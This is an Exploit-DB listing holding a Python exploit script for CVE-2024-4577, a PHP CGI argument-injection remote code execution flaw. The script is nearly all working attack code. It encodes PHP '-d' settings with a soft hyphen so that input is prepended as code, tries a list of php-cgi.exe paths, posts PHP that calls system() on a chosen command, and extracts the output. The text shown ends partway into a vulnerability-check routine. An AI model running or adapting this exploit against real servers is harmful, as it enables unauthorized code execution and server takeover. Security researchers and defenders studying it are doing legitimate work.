Exploit-DB #52331
Description: PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2025-06-15
Author: İbrahimsql

Exploit:
#!/usr/bin/env python3

# Exploit Title: PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
# Date: 2025-06-13
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/yigitsql ( old account banned )
# Vendor Homepage: https://www.php.net/
# Software Link: https://www.php.net/downloads
# Version: PHP < 8.3.4, PHP < 8.2.17, PHP < 8.1.27
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-4577
# Description:
# A critical vulnerability in PHP's CGI implementation allows remote attackers to execute 
# arbitrary code through command injection. The vulnerability exists due to improper handling 
# of command-line arguments in PHP CGI, which can be exploited to bypass security restrictions 
# and execute arbitrary commands with the privileges of the web server. This vulnerability 
# affects all PHP versions before 8.3.4, 8.2.17, and 8.1.27.
#
# Impact:
# - Remote Code Execution (RCE)
# - Information Disclosure
# - Server Compromise
#
# References:
# - https://nvd.nist.gov/vuln/detail/cve-2024-4577
# - https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure
# - https://www.tarlogic.com/blog/cve-2024-4577-critical-vulnerability-php/
# - https://learn.microsoft.com/en-us/answers/questions/1725847/php-8-3-vulnerability-cve-2024-4577
# - https://www.stormshield.com/news/security-alert-php-cve-2024-4577-stormshields-product-response/
#
# Requirements: urllib3>=1.26.0, rich, requests>=2.25.0, alive_progress, concurrent.futures

import re
import sys
import base64
import requests
import argparse
from rich.console import Console
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed

disable_warnings(InsecureRequestWarning)

console = Console()

class PHPCGIExploit:
    """CVE-2024-4577 PHP CGI Argument Injection RCE Exploit"""
    
    def __init__(self):
        self.headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        
        # Optimized settings for PHP CGI argument injection
        self.php_settings = [
            "-d cgi.force_redirect=0",
            "-d cgi.redirect_status_env=0",
            "-d fastcgi.impersonate=1",
            "-d open_basedir=",
            "-d disable_functions=",
            "-d auto_prepend_file=php://input",
            "-d allow_url_include=1",
            "-d allow_url_fopen=1"
        ]
        
        # Soft hyphen character for Windows systems
        self.soft_hyphen = "%AD"  # 0xAD character
        
        # Different PHP CGI paths to try
        self.cgi_paths = [
            "/php-cgi/php-cgi.exe",
            "/php/php-cgi.exe",
            "/cgi-bin/php-cgi.exe",
            "/php-cgi.exe",
            "/php.exe",
            "/php/php.exe"
        ]
        
    def ascii_art(self):
        print("")
        console.print("[bold red]    ____  _   _ ____       ____  ____ ___[/bold red]")
        console.print("[bold red]   |  _ \| | | |  _ \     / ___|/ ___|_ _|[/bold red]")
        console.print("[bold red]   | |_) | |_| | |_) |   | |   | |  _ | |[/bold red]") 
        console.print("[bold red]   |  __/|  _  |  __/    | |___| |_| || |[/bold red]")
        console.print("[bold red]   |_|   |_| |_|_|        \____|\____|___|[/bold red]")
        console.print("[bold yellow]          CVE-2024-4577 Exploit[/bold yellow]")
        console.print("[dim white]        PHP CGI Argument Injection[/dim white]")
        console.print("[dim cyan]           Developer: @ibrahimsql[/dim cyan]")
        print("")
        
    def build_payload_url(self, cgi_path):
        # Argument injection with soft hyphen
        settings_str = " ".join(self.php_settings).replace("-", self.soft_hyphen)
        settings_str = settings_str.replace("=", "%3D").replace(" ", "+")
        return f"{cgi_path}?{settings_str}"
        
    def execute_command(self, target, command="whoami", cgi_path=None):
        """Execute command on target using PHP CGI argument injection"""
        try:
            # Create PHP code
            php_code = f"""<?php
error_reporting(0);
echo '[START]';
system('{command}');
echo '[END]';
die();
?>"""
            
            # If no CGI path specified, try all paths
            if cgi_path:
                paths_to_try = [cgi_path]
            else:
                paths_to_try = self.cgi_paths
                
            for path in paths_to_try:
                try:
                    payload_url = self.build_payload_url(path)
                    full_url = f"{target.rstrip('/')}{payload_url}"
                    
                    response = requests.post(
                        full_url,
                        headers=self.headers,
                        data=php_code,
                        timeout=10,
                        verify=False,
                        allow_redirects=False
                    )
                    
                    # Check output
                    if response.status_code == 200:
                        output_match = re.search(r'\[START\](.*?)\[END\]', response.text, re.DOTALL)
                        if output_match:
                            return output_match.group(1).strip(), path
                            
                except requests.exceptions.RequestException:
                    continue
                    
            return None, None
            
        except Exception as e:
            console.print(f"[red][-][/red] Error: {str(e)}")
            return None, None
            
    def check_vulnerability(self, target):
        """Check if target is vulnerable"""
        console.print(f"[blue][*][/blue] Testing target: {target}")